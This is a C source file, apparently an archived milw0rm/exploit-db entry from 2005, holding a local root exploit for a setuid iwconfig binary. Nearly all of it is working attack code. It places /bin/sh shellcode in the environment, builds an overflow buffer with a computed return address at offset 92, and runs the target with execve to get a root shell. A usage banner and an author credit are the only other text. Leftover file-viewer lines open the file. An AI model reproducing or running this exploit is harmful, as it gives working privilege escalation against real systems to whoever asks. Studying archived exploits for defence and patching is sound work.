55 lines
No EOL
1.8 KiB
C
55 lines
No EOL
1.8 KiB
C
// (if the iwconfig executable is setuid) /str0ke
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#include <stdio.h>
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#include <string.h>
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#include <unistd.h>
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#include <stdlib.h>
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/* 45 Byte /bin/sh >> http://www.milw0rm.com/id.php?id=1169 (https://www.exploit-db.com/exploits/1169/) */
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char shellcode[]=
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"\x31\xc0\x31\xdb\x50\x68\x2f\x2f"
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"\x73\x68\x68\x2f\x62\x69\x6e\x89"
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"\xe3\x50\x53\x89\xe1\x31\xd2\xb0"
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"\x0b\x51\x52\x55\x89\xe5\x0f\x34"
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"\x31\xc0\x31\xdb\xfe\xc0\x51\x52"
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"\x55\x89\xe5\x0f\x34";
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int main(int argc,char **argv){
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char buf[96];
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long esp, *addr_ptr;
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unsigned long ret;
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int i, offset;
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unsigned long sp(void)
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{ __asm__("movl %esp, %eax");}
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char *prog[]={argv[1],buf,NULL};
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char *env[]={"3v1lsh3ll0=",shellcode,NULL};
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if (argc >= 2) {
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printf("\n*********************************************\n");
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printf(" iwconfig Version 26 Localroot Exploit \n");
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printf(" Coded by Qnix[at]bsdmail[dot]org \n");
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printf("*********************************************\n\n");
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} else {
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printf("\n*********************************************\n");
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printf(" iwconfig Version 26 Localroot Exploit \n");
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printf(" Coded by Qnix[at]bsdmail[dot]org \n");
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printf("*********************************************\n\n");
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printf("\n USEAGE: ./iwconfig-exploit <iwconfig FULLPATH e.g /sbin/iwconfig or /usr/sbin/iwconfig>\n\n");
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return 1;
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}
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offset = 0;
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esp = sp();
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ret=0xc0000000-strlen(shellcode)-strlen(prog[0])-0x06;
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printf("[~] S-p.ESP : 0x%x\n", esp);
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printf("[~] O-F.ESP : 0x%x\n", offset);
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printf("[~] Return Addr : 0x%x\n\n", ret);
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memset(buf,0x41,sizeof(buf));
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memcpy(&buf[92],&ret,4);
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execve(prog[0],prog,env);
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}
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// milw0rm.com [2005-09-14]
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